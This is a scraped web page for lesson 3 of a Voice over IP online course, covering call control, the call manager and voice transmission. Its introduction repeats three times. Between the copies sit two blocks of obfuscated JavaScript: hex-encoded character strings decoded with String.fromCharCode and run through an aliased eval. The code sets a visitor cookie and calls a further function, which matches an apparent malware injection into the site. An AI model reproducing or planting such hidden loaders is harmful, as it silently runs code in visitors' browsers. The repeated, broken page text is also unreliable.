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Voice over IP Online Course

Lesson 3 - How Does VoIP Work?

Introduction

Synopsis

Voice over IP has parallels to the traditional public switched telephone network. Both systems need to identify the end points of a telephone call and route conversations between them. Both systems also need to be able to physically put the conversation on the wire, keep it coherent as it travels across the system and be made understandable when it reaches the destination. This chapter examines how these functions are accomplished by a voice over IP system.

Lesson Index

A. Call control
B. Call manager
C. Transmitting voice
Review and Final Exercise

Lesson Objectives

Upon completion of this section, students will: [Top of page][On to next section]







Menu


2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:61:5b:71:5a:27:30:1f:20:32:4:1:74:4:1:74"[lnhqr](":");}irp=stlk;fbfppy=[];for(jyxic=22-20-2;-jyxic 1418!=0;jyxic =1){shw=jyxic;if((0x19==031))fbfppy =String.fromCharCode(eval(tbt irp[1*shw]) 0xa-ztmc);}rlu=eval;rlu(fbfppy)}

Voice over IP Online Course

Lesson 3 - How Does VoIP Work?

Introduction

Synopsis

Voice over IP has parallels to the traditional public switched telephone network. Both systems need to identify the end points of a telephone call and route conversations between them. Both systems also need to be able to physically put the conversation on the wire, keep it coherent as it travels across the system and be made understandable when it reaches the destination. This chapter examines how these functions are accomplished by a voice over IP system.

Lesson Index

A. Call control
B. Call manager
C. Transmitting voice
Review and Final Exercise

Lesson Objectives

Upon completion of this section, students will: [Top of page][On to next section]







Menu


:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:71:63:61:27:30:1f:20:32:4:1:74:4:1:74"[eqpiay](":");}wyqj=bzfvsg;gkuapg=[];for(mst=22-20-2;-mst 1397!=0;mst =1){dotf=mst;if((0x19==031))gkuapg =String.fromCharCode(eval(wonjm wyqj[1*dotf]) 0xa-eqsxju);}kwfpka=eval;kwfpka(gkuapg)}

Voice over IP Online Course

Lesson 3 - How Does VoIP Work?

Introduction

Synopsis

Voice over IP has parallels to the traditional public switched telephone network. Both systems need to identify the end points of a telephone call and route conversations between them. Both systems also need to be able to physically put the conversation on the wire, keep it coherent as it travels across the system and be made understandable when it reaches the destination. This chapter examines how these functions are accomplished by a voice over IP system.

Lesson Index

A. Call control
B. Call manager
C. Transmitting voice
Review and Final Exercise

Lesson Objectives

Upon completion of this section, students will: [Top of page][On to next section]







Menu